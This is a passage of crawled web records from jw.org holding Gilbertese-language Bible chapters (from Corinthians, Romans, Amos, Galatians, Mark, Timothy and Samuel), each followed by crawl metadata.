tamaroa riki nakoina.+ 11 Bwa ngkana e kamaunaaki are e karekeaki n te mimitong+ ngkoa, ao ai batira riki mimitongin are e tiku!+ 12 Kioina ngkai iai iroura te kantaninga+ anne, ao ti a taetae n aki maaku naba teutana, 13 ao ti aki karaoa aroni Mote ngke e rabuna ubuna+ n te rabuna ni mata, bwa a aonga n aki taraa tokin te baere e na kamaunaaki tibun Iteraera. 14 Ma e a manga aki ota aia iango.+ Bwa e tiku te rabuna ni mata anne n aki ietaki ni karokoa te bong aei ni warekan te berita nikawai,+ ibukina bwa e kamaunaaki rinanoni Kristo.+ 15 Ni koauana, ngkana e warekaki ana koroboki Mote,+ ao e mena te rabuna ni mata i aon nanoia, ni karokoa te bong aei.+ 16 Ma e na uotakinako te rabuna ni mata ngkana e rairaki temanna nakon Iehova.*+ 17 Ma bon te Taamnei Iehova,*+ ao ike e mena iai taamnein Iehova* ao iai te inaomata+ iai. 18 Ao ngaira ni kabane ake akea rabunan ubura ake ti tabe ni kaotiota mimitongin Iehova* n aron te tirotaam, ti onikaki nakoni katotongana man te mimitong teuana nakon teuana, n aron are e karaoira iai Iehova* ae te Taamnei.*+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-i-korinto\/3\/","date":"2018-03-19T17:43:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647003.0\/warc\/CC-MAIN-20180319155754-20180319175754-00487.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":517,"character_repetition_ratio":0.062,"word_repetition_ratio":0.008,"special_characters_ratio":0.24,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 Tera ngkanne ae ti na taekinna? Ti riai n teimatoa ni bubure bwa e aonga ni kabatiaaki iai te akoi ae rianako? 2 Tiaki ngaia anne! Ti na kangaa n teimatoa ni maiuakina te bure+ ngkai ti a tia ni mate ni kaineti ma te bure?+ 3 Ke kam aki ataia ae ngaira ake ti bwabetitoaki ao ni katiteuanaaki ma Kristo Iesu,+ ti bane naba ni bwabetitoaki nako nanoni matena?+ 4 Mangaia ae ti taunaki ma ngaia ngkai ti bwabetitoaki nakoni matena,+ bwa ti aonga ni maiuakina te maiu ae boou, n aron naba Kristo are kautaki man te mate ni mimitongini mwaakan te Tama.+ 5 Ngkana ti a katiteuanaaki ma ngaia n te mate are aroni matena,+ ti na manga boni katiteuanaaki naba ma ngaia n te mangauti are aroni mangautina.+ 6 Bwa ti ataia ae a bobitiaki naba n te kai ma ngaia aroarora nikawai,+ bwa e aonga n aki manga tautaekanira rabwatara ae bubure,+ n te aro are ti na aki manga toronaki n te bure.+ 7 Bwa ane e mate ao e a bwara baena* man ana bure. 8 Ao ngkana ti a tia ni mate ma Kristo ao ti kakoauaa bwa ti na maiu naba ma ngaia. 9 Bwa ti ataia ae e a aikoa manga mate Kristo+ ngkai e a tia ni kautaki man te mate.+ E a toki mwaakan te mate i aona. 10 Bwa matena are e rinanona, boni matena ae tii teuana ae manena n aki toki ibukini kamaunaan te bure,+ ma ngkai e maiu, ao e maiu ibukin te Atua. 11 Ao ai aromi naba bwa kam taku bwa kam a tia ni mate ni kaineti ma te bure, ma kam maiu ibukin te Atua rinanoni Kristo Iesu.+ 12 Mangaia ae tai kariaia te bure bwa e na teimatoa n tautaeka bwa kaanga te uea i aon rabwatami aika mamate,+ n te aro ae kam riai n ira nanon ae a tangiria rabwatami. 13 Ao tai anganga naba rabwatami* nakon te bure bwa bwaai ni mwakuri* ibukini karaoan ae buakaka, ma kam na anga ngkami nakon te Atua n aroia aomata aika kautaki man te mate, ao aanga naba rabwatami* nakon te Atua bwa bwaai ni mwakuri ibukini karaoan ae raoiroi.+ 14 Bwa e aki riai n tautaeka te bure i aomi, kioina ngkai kam aki mena i aan te tua,+ ma kam mena i aan te akoi ae rianako.+ 15 Ti na kangaa ngkanne? Ti na karaoa te bure ibukina bwa ti aki mena i aan te tua ma ti mena i aan te akoi ae rianako?+ Tiaki ngaia anne! 16 Kam aki ataia ae ngkana kam anga ngkami nakon temanna bwa tooro aika ongeaba,+ ao kam a riki iai bwa ana toro te aomata are kam ongeaba irouna? Kam kona n toronaki n te bure+ ae kairiri nakon te mate,+ ke kam kona n toronaki n te ongeaba ae kairiri nakon te raoiroi. 17 Ma e na katituaraoaki te Atua, bwa e ngae ngke kam toronaki ngkoa n te bure ma kam a ongeaba ngkai ma nanomi ni koaua n te aeka n reirei are kam mwiokoaki iai. 18 Eng, kam a riki bwa ana toro te raoiroi+ kioina ngkai kam a tia ni kainaomataaki man te bure.+ 19 Ibukini mamaaran rabwatami, ao I a kabonganai taeka ake a tataneiai iai aomata. Bwa n aromi ngkoa ngke kam anga bwain rabwatami bwa ana toro te kammaira ma te buakaka bwa kam na kakaraoa ae buakaka, ao aanga ngkai bwain rabwatami bwa ana toro te raoiroi ae kairiri nakoni kakaraoan ae itiaki.+ 20 Bwa ngke kam toro ngkoa iroun te bure, ao e aki toroningkami te raoiroi. 21 Baikara uaa ake kam taneiai ni karikii n te tai anne? Boni baika kam a maamaa iai ngkai, bwa tokini baikanne bon te mate.+ 22 Ma ngkai kam a tia ni kainaomataaki man te bure ao n riki bwa ana toro te Atua, kam a karekea uaami ae te itiaki,+ ao tokina bon te maiu are aki toki.+ 23 Bwa boon te bure te mate,+ ma te bwaintituaraoi ae e anga te Atua, bon te maiu are aki toki+ rinanoni Kristo Iesu ae ara Uea.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/i-rom\/6\/","date":"2018-03-19T17:44:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647003.0\/warc\/CC-MAIN-20180319155754-20180319175754-00487.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":718,"character_repetition_ratio":0.056,"word_repetition_ratio":0.006,"special_characters_ratio":0.242,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Aikai ana taeka Amota* are mena i buakoia taan tararuaiia tiibu ake mai Tekoa,+ are e karekea n te miitara ni kaineti ma Iteraera n ana bong Utia+ are Uean Iuta ao n ana bong Ieroboam+ are natin Ioaati,+ are uean Iteraera, uoua te ririki imwain te mwaeiei.+ 2 E taku: \"E na bekorara Iehova mai Tion,Ao e na kanenea bwanaana mai Ierutarem. A na nanokawaki aia tawaana taani kawakintiibu,Ao e na mwautakataka taubukini Karemera.\"+ 3 \"E kangai ana taeka Iehova,'\"Ibukin ana karitei* Tamateko aika tenua, ao ibukin aua, N na aki rairaanako karekeani kaina,Ibukina bwa a kaaki kunin Kireata n te kaa ni kaaki kun ni uita ae te biti.+ 4 Mangaia ae N na kanakoa te ai nako aon ana auti Atiaera,+Ao e na kabueki ana taua Benataata aika nonoaki.+ 5 N na otei kaini kamatoaani mataroan oon Tamateko,+N na kamaunaia kaaina mai BikataawenAo teuare tautaeka* mai Betaeten,Ao a na nako kaain Turia bwa taenikai nako Kiri,\"+ bon ana taeka Iehova.' 6 E kangai ana taeka Iehova,'\"Ibukin ana karitei Kaata aika tenua,+ ao ibukin aua, N na aki rairaanako karekeani kaina,Ibukina bwa a kairiianako te koraki n taenikai ni kabane+ n anga nakoia I-Etom. 7 Mangaia ae N na kanakoa te ai nako aon ooni Kaata,+Ao e na kabueki tauan neiei aika nonoaki. 8 N na kamaunaia kaaina mai Atoto+Ao teuare tautaeka* mai Atikeron,+N na raira baiu n ekaanako Ekiron,+Ao a na mate nikiraia I-Biritia,\"+ bon ana taeka te Uea ae Moan te Rietata ae Iehova.' 9 E kangai ana taeka Iehova,'Ibukin ana karitei Turo aika tenua,+ ao ibukin aua, N na aki rairaanako karekeani kaina,Ibukina bwa a anga te koraki n taenikai ni kabane nakoia I-Etom,Ao ibukina bwa a aki uringa te berita n itaritari.+ 10 Mangaia ae N na kanakoa te ai nako aon oon Turo,Ao e na kabueki tauan neiei aika nonoaki.'+ 11 E kangai ana taeka Iehova,'Ibukin ana karitei Etom aika tenua,+ ao ibukin aua, N na aki rairaanako karekeani kaina,Ibukina bwa e kaea oin tarina ma te kabaang,+Ao ibukina bwa e rawa ni kaota te nanoanga,Ao e teimatoa n raebitia naakai n unna n akea motirawana,Ao e bon teimatoa naba n rangi ni maraki nanona irouia.+ 12 Mangaia ae N na kanakoa te ai nako nanon Teman,+Ao e na kabueki tauani Botira+ aika nonoaki.' 13 E kangai ana taeka Iehova,'\"Ibukin aia karitei tibun Ammon aika tenua,+ ao ibukin aua, N na aki rairaanako karekeani kaia,Ibukina bwa a bwenai birotoia aineni Kireata aika bikoukou bwa a na karaababai riki aia aono.+ 14 Mangaia ae N na kauraa oon Rabaa+ n te ai,Ao e na kabueki tauan neiei aika nonoaki,Ma te takakaa ni buaka ni bongin te buaka,Ma te ukeukennanti ni bongin te angibuaka. 15 Ao ane e na irinako aia uea bwa te taenikai n ikotaki ma ana aomata aika tooka,\"+ bon ana taeka Iehova.'\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/amota\/1\/","date":"2018-03-24T18:13:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650764.71\/warc\/CC-MAIN-20180324171404-20180324191404-00136.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":503,"character_repetition_ratio":0.084,"word_repetition_ratio":0.04,"special_characters_ratio":0.231,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 Taari, e ngae ngkana e toua te mwaneka ae kairua te aomata n akea ataakina irouna, ma ngkami aika Kristian aika kam ikawai n te onimaki, kam na kataia ni kaeta te aomata anne n te nano ae nimamannei.+ Ma tataraingkami n tatabemaningkami+ nako bwa kam kaawa ni kaririaki naba.+ 2 Kam na ibuobuoki i marenami ni baika karawawataingkami,+ ao kam na kakororaoa iai ana tua te Kristo.+ 3 Bwa ngkana e iangoia temanna i bon irouna bwa e kakawaki e ngae ngke e aki,+ ao e mwamwanaia i bon irouna. 4 Ma ke e tuoa oin ana mwakuri temanna ma temanna,+ ao e na karekea iai bukini kimwareireina i bon irouna, ma tiaki n te kabotaua ma temanna.+ 5 Bwa ane a na uotii oin uotaia* aomata n tatabemania nako.+ 6 Ma ke e ibuokanibwai ni baika raraoi ni kabane, ane e reireinaki n ana taeka te Atua ma ane e anga te aeka n reirei anne.+ 7 Tai burebureaki. E aki riai ni bwainnataeaki te Atua, bwa te baere e unikia te aomata, e na manga taia naba uaana.+ 8 Ibukina bwa ane e ununiki ibukin rabwatana e na taia te kamaunaaki man rabwatana, ma ane e ununiki ibukin te taamnei ae raoiroi e na taia te maiu are aki toki man te taamnei.+ 9 Mangaia ae a na aki bwara nanora ni karaoan ae raoiroi, bwa ti na bon taia uaana n taina ae riai ngkana e aki bwara nanora.+ 10 Mangaia ae ti na kakaraoa ae raoiroi nakoia aomata ni kabane ngkai ti anganaki ara tai,* ma e a moamoa riki nakoia ake a katiteuanaaki ma ngaira n te onimaki. 11 Kam na nori manin au koroboki aika bubura aika I korei ni bon oini baiu. 12 Te koraki ni kabane ake a kani kakukureiia aomata* boni ngaiia ake a kataia ni kairoroingkami bwa kam na korotobibiaki, ao a karaoa anne bwa a aonga n aki bwainikirinaki ibukin ana kai ni kammaraki* te Kristo. 13 Bwa a aki naba taua te Tua te koraki ake a korotobibiaki,+ ma a tangiringkami bwa kam na korotobibiaki bwa a aonga ni kamoamoa n te baere karaoaki nakon rabwatami. 14 I bon aki kani kamoamoaai ma tii n ana kai ni kammaraki* ara Uea ae Iesu Kristo,+ bwa n au taratara, ai aron ae e kamateaki* te botannaomata rinanona, ao n aia taratara te botannaomata, ai aron ae I kamateaki ngai. 15 Bwa akea manenan te korotobibi ke te aki korotobibi,+ ma bon iai manenan te karikibwai ae boou.+ 16 Ke a nanoangaaki te koraki ni kabane ake a maiuakina te baire aei ae ana Iteraera te Atua,+ ao e na mena te rau i aoia. 17 Ke e tai karekeai n te kangaanga temanna ni moa mangkai, bwa I uouota te mwaka i aon rabwatau ae kanikinaean ae ana toro Iesu+ ngai. 18 Taari, e na mena iroumi ana akoi ae rianako te Uea ae Iesu Kristo, ngkai kam kaotiota raoiroin nanomi. Amen.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/i-karatia\/6\/","date":"2018-03-24T05:27:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649683.30\/warc\/CC-MAIN-20180324034649-20180324054649-00752.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":523,"character_repetition_ratio":0.052,"word_repetition_ratio":0.008,"special_characters_ratio":0.234,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13 Ngke e a otinako Iesu man te tembora ao e taku nakoina temanna mai buakoia taan rimwina: \"Te tia Reirei, noria! Ai kamira atibu ma kateitei+ aikai!\" 2 Ma e taku Iesu nakoina: \"Ko nori kateitei aika rangi n tamaroa aikai? Bwa ane e na bon aki tiku ikai te atibu teuana i aon te atibu teuana n aki kabwakaaki.\"+ 3 Ngke e tekateka i aon te Maunga ae Oriweta ni kaitaraa te tembora, ao a titirakinna Betero, Iakobo, Ioane, ao Anterea, ngke tii ngaiia ni kangai: 4 \"Tuangira, a na roko n ningai baikai, ao tera te kanikina are e na kotea te tai are a nang roko iai n tokia+ baikai ni kabane?\" 5 Mangaia are e a tuangia Iesu ae kangai: \"Tarataraingkami bwa akea ae e na burebureingkami.+ 6 A bati aika a na roko n arau, ni kangai, 'Bon teuarei ngai,' ao a na burebureiia aomata aika bati. 7 Ma ngkana kam ongo karongoaani buaka ao rongorongoni buaka, tai maaku iai bwa a riai n roko baikai, ma e tuai n roko te toki.+ 8 \"Bwa e na teirake te natannaomata teuana ni buakana te natannaomata teuana, ao te tautaeka n uea teuana ni buakana te tautaeka n uea+ teuana, ao a na roko mwaeiein te aba n te tabo teuana ma teuana ao a na roko naba roongo.+ Baikai boni moan rikini kangaanga, kaanga ai aron te ariri imwain te bung.+ 9 \"Ma kam na tarataraingkami bwa ane a na kateingkami n te boowi,+ ao a na batiboingkami i nanon taian tinakoka*+ ao a na kateingkami i mataia kowana ma ueea ibukiu, bwa kam aonga ni kaotioti nakoia.+ 10 Ao e riai naba n tataekinaki moa te rongorongo ae raoiroi+ nakoia natannaomata ni kabane. 11 Ao ngkana a kairingkami bwa a na kateingkami n te boowi, ao tai moantaai n raraomaeakina aromi n taetae, ma kam na taekini baike kam anganaki n te tai anne, bwa tiaki ngkami ae kam taetae ma e taetae te taamnei ae raoiroi.+ 12 Irarikin anne, mwaane a na anga tariia nakon te mate, ao taama a na anga natiia, ao a na teirake naati n ekiianako aia karo, ma n anga ngaiia nakon te mate.+ 13 Ao ane kam na riribaaki irouia aomata ni kabane ibukin arau.+ Ma ane e a tia n nanomwaaka* ni karokoa te toki+ ao e na kamaiuaki.+ 14 \"Mangaia are ngkana kam nora te bwai ae koro n ribaaki ae karika te kamaroaeaki,+ n tei n te tabo ae e aki riai n tei iai (e na kabongana wanawanana te tia wareware ibukini mataatana iai), ao ke a birinako nakoni maunga+ naake a mena i Iutaia. 15 Ane e mena i taubukin te auti,* e na aki ruo ke n rin n anai ana bwai n ana auti, 16 ao te aomata are mena n te tawaana e aki riai n okiri ana bwai ake a tiku imwina n anaa ana kauaatao. 17 Ai kananoangara aine aika bikoukou ao ake a kammammaia natiia ni boong akanne!+ 18 Teimatoa n tataro bwa e na aki riki aei n tain te kamwaitoro, 19 bwa boong akanne boni bongin te rawawata+ ae tuai ni kaoti mangke e moani karikibwai te Atua ni karokoa te tai anne, ao e na aki manga kaoti rimwi.+ 20 E koaua bwa ngkana e aki kakimototoi boong akanne Iehova,* ao akea te aomata* ae e na kamaiuaki. Ma e kakimototoi boong+ akanne ibukia te koraki ake e rineiia. 21 \"Ao ngkana iai ae e kangai nakoimi, 'Noria! Kai aei te Kristo,' 'Noria! Kai arei!' ao tai kakoauaa.+ 22 Bwa a na teirake Kristo ni kewe ao burabeti ni kewe+ ao a na karaoi kanikina ma baika kamimi, bwa a aonga ni burebureiia naba ake a rineaki ngkana a kona. 23 Mangaia ae tarataraingkami,+ bwa I a tia n tuangingkami bwaai ni kabane aika a na riki, ngkai a tuai n roko. 24 \"Ma ni boong akanne imwin te rawawata anne ao e na karooaki taai, ao e nang aki maama namwakaina,+ 25 ao a na bwaka itoi mai karawa, ao a na kaeieieaki baika korakora i karawa. 26 Ao a na nora Natin te aomata+ n roko n te nang ma te mwaaka ae korakora ao te mimitong.+ 27 Ao e na kanakoia ana anera ao a na ikotiia naake a rineaki ake ana aomata mai meang ao maiaki, mainiku ao maeao, mai tabon aonnaba nakon rabarabani karawa are teuana.+ 28 \"Karekea reireiami mani kaikonakan te aroka ae te biiku: N te tai are e a manga bwebwerake iai mwaangana ma n riki baana, kam ataia iai bwa e a kaan te tai are a nang rikirake ma n uaa iai aroka.+ 29 Ai aromi naba, ngkana kam nori rikini baikai, kam a ataia iai bwa e a kaan Natin te aomata bwa bon ae i rarikin te mataroa.+ 30 I tuangingkami te koaua bwa e na aki mauna te roro aei ni karokoa rikini baikai ni kabane.+ 31 A na mauna+ karawa ma aonnaba, ma a na bon aki mauna+ au taeka. 32 \"Akea ae e ataa te bong ke te aoa anne, a aki ataia anerani karawa ao e aki ataia naba te Nati, ma tii te Tama.+ 33 Teimatoa n taratara, teimatoa n tantani,+ bwa kam aki ataa te tai ae e a tia ni baireia te Atua.+ 34 Kaanga ai aron te aomata ae mwananga nakon te aba teuana, ae kitana ana auti ao e anga te mwioko nakoia ana toro+ ni katoaia n tatabemania nako n aia mwakuri, ao e tua nakon te tia teiakina te mataroa bwa e na teimatoa n tantani.+ 35 Mangaia are teimatoa n tantani, bwa kam aki ataa rokon+ teuare ana auti te auti, bwa tao n te moantairiki ke n te nukanibong ke n te karangaina* ke n te moaningabong,+ 36 bwa ngkana e karina n roko, ao e na aki kuneingkami ni matu.+ 37 Ma baika I tuangingkami, I bon tuangia naba aomata ni kabane: Teimatoa n tantani.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/mareko\/13\/","date":"2018-03-20T13:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647475.66\/warc\/CC-MAIN-20180320130952-20180320150952-00148.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1008,"character_repetition_ratio":0.044,"word_repetition_ratio":0.004,"special_characters_ratio":0.247,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 I tua nakoim i matan te Atua ao Kristo Iesu are katauaki bwa e na motiki taekaia+ akana maiu ma akana mate,+ rinanoni kaotana+ ao rinanon ana Tautaeka n Uea,+ 2 bwa ko na uarongorongoa te taeka,+ ni kataningamarauko iai n te tai ae nakoraoi ao n tain naba te kangaanga. Kaetiia+ aomata, boaiia, ao kaungaia ma te taotaonakinnano ni kabane ao te rabakau n angareirei.+ 3 Bwa ane e na roko te tai ae a nang aki kani butimwaea iai te reirei ae koaua,*+ ma a nang irii oin nanoia ni kabatiaia taan reireinia bwa a aonga n ongora ni baike a boni kan ongoraei.+ 4 Ane a na rawa n ongora n te koaua, ao a na butimwaei karaki aika aki koaua. 5 Ma ko na kawanawanako* ngkoe ni bwaai ni kabane, nanomwaaka i aan te kangaanga,+ karaoa ana mwakuri te tia tataekina te euangkerio,* kakororaoa raoi am mwakuri ni minita.+ 6 Bwa I a tabe ni kabwaroaki n ai aron te karea ae te wain,+ ao e a kaan au tai ni kainaomataaki.+ 7 I a tia ni buaka n te buaka ae raoiroi,+ I a tia ni biri ni karokoa banen te kabobirimwaaka,+ ao I kakairi raoi n te onimaki ni Kristian. 8 E a tauraoi imwaiu mangkai te baunuea ibukin te raoiroi,+ are e na anganai bwa kaniwangau n te bong arei+ te Uea ae te tia motikitaeka ae raoiroi,+ ma tiaki tii ngai, ma te koraki nako naba ake a tangira kaotina. 9 Ko na kawaekoako n nakomai nakoiu n aki waeremwe, 10 bwa e a kaaki taekau Tema+ ibukina bwa e a tangira te waaki ae ngkai i aon te aba,* ao are e a nako Tetaronike, ao Kiretike e nako Karatia, ao Tito e nako Tarematia. 11 Ai bon tii Ruka raou. Airi ma Mareko, bwa e rangi n ibuobuoki nakoiu n te mwakuri ni minita. 12 I a tia ni kanakoa Tukiko+ nako Ebeto. 13 Ngkana ko nakomai ao uota te ninira ibukin te kamariri are I katikua i Teroa irouni Karebo, ao taian nira ni boki ma ai moarara riki ake taiani kunniman. 14 E karaoi baika bati aika bubuaka nakoiu Arekantero are te tia mwakuria te buraati. E na boni kabooi mwin ana mwakuri Iehova.*+ 15 Ko riai naba ngkoe n tarataraiko irouna, bwa e kakorakoraa ni kaitaraa ara rongorongo. 16 Ngke I moani kaekaa bukinau ao akea temanna ae tei n au itera, ma a bane ni kaaki taekau—ke e tai tauaki bwa aia bure 17 Ma e tei i rarikiu te Uea ao e karina te mwaaka i nanou, bwa I aonga ni kakororaoa raoi tataekinan te rongorongo ae raoiroi ao a na bane n ongora iai natannaomata,+ ao I kamaiuaki mani win te raian.+ 18 E na kainaomataai te Uea mani mwakuri nako aika bubuaka, ao e na kamaiuai ibukin ana Tautaeka n Uea ae bwaini karawa.+ Ana bwai te neboaki n aki totoki. Amen. 19 Aanga au kamauri nakoni Beritika ma Akura,+ ao kaaini batan Onetiboro.+ 20 E tiku Erateto+ i Korinto, ma I katuka Terobimo+ i Mireto bwa e aoraki. 21 Ko na kawaekoako n roko imwain tain te kamwaitoro. E kamauriko Euburo ma Boute, ao Rino ma Kirauria, ao ai taari ni kabane. 22 E na raona nanom ae ko kaotiotia te Uea. E na mena iroumi ana akoi ae rianako.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-timoteo\/4\/","date":"2018-03-19T06:09:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257646375.29\/warc\/CC-MAIN-20180319042634-20180319062634-00777.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":583,"character_repetition_ratio":0.05,"word_repetition_ratio":0.007,"special_characters_ratio":0.242,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12 N tokina ao e a taku Tamuera nakoia tibun Iteraera ni kabane: \"I a tia ni bane ni karaoi* baike kam butiiai iai, ao I rinea te uea bwa e na tautaeka i aomi.+ 2 Aio ngkai te uea ae kairingkami!*+ Ma I a kara ngai ma n iaia, ao a memena natiu mwaane i rarikimi,+ ao I a tia ni kairingkami mangke I uarereke ni karokoa te bong aei.+ 3 Aio ngai. Kaotioti ni kaitaraai i matan Iehova ao i matan ana aomata ae kabiraki:+ Antai ae I a tia n anaa ana kao mwaane ke ana taongki?+ Ke antai ae I a tia ni babakanikawaia ke ni karawawataa? Antai ae I a tia ni butimwaea te bwai ni kamaraato* mai baina bwa I aonga n tarariaoa te baere e a tia ni karaoia?+ Ngkana iai, ao N na manga kaokia nakoimi.\"+ 4 Ao a kaeka ni kangai: \"Ko aki babakanikawaira ke ni karawawataira ke ni butimwaea te bwai naba teuana mai bain temanna.\" 5 Mangaia are e taku nakoia: \"Bon Iehova te tia kakoaua ni kaaitaraingkami, ao te tia kakoaua naba n te bong aei ana aomata ae kabiraki, bwa akea te bwai teuana ae kam na bukinai iai.\"* Ao a kaeka ni kangai: \"Boni ngaia te tia kakoaua.\" 6 Mangaia are e taku Tamuera nakoia aomata: \"Bon te tia kakoaua Iehova are ngaia are kabonganaia Mote ma Aaron, ao e kairiia ami bakatibu ni kaotinakoia man te aba are Aikubita.+ 7 Kam na tei ngkai ni nnemi, ao N na motiki taekami i matan Iehova ni kaineti ma mwakuri ni kabane aika raraoi ake e karaoi Iehova ibukimi ma ami bakatibu. 8 \"Ngke e roko naba ngkekei Iakoba i Aikubita+ ao a a wetea Iehova ami bakatibu ibukini buokaia.+ Ao Iehova e kanakoia Mote+ ma Aaron bwa a na kairiia ami bakatibu ni kaotinakoia mai Aikubita, ao ni kamaekaia n te tabo aei.+ 9 Ma a mwaninga taekan Iehova ae Atuaia, ao e a anga ngaiia*+ nako nanoni bain Titera+ are te mataniwi n te taanga ni buaka mai Atiora, ao nako nanoni baia I-Biritia,+ ao nako nanoni bain ueani Moaba,+ ao a buakania. 10 Ao a wetea Iehova ibukini buokaia+ ao a kangai, 'Ti boni bure+ bwa ti kitana Iehova n toro irouia taiani Baara+ ao bouannantin nako Nei Atitoreta. Kamaiuira ngkai mai nanoni baia aiara bwa ti aonga n toro iroum.'+ 11 Ao 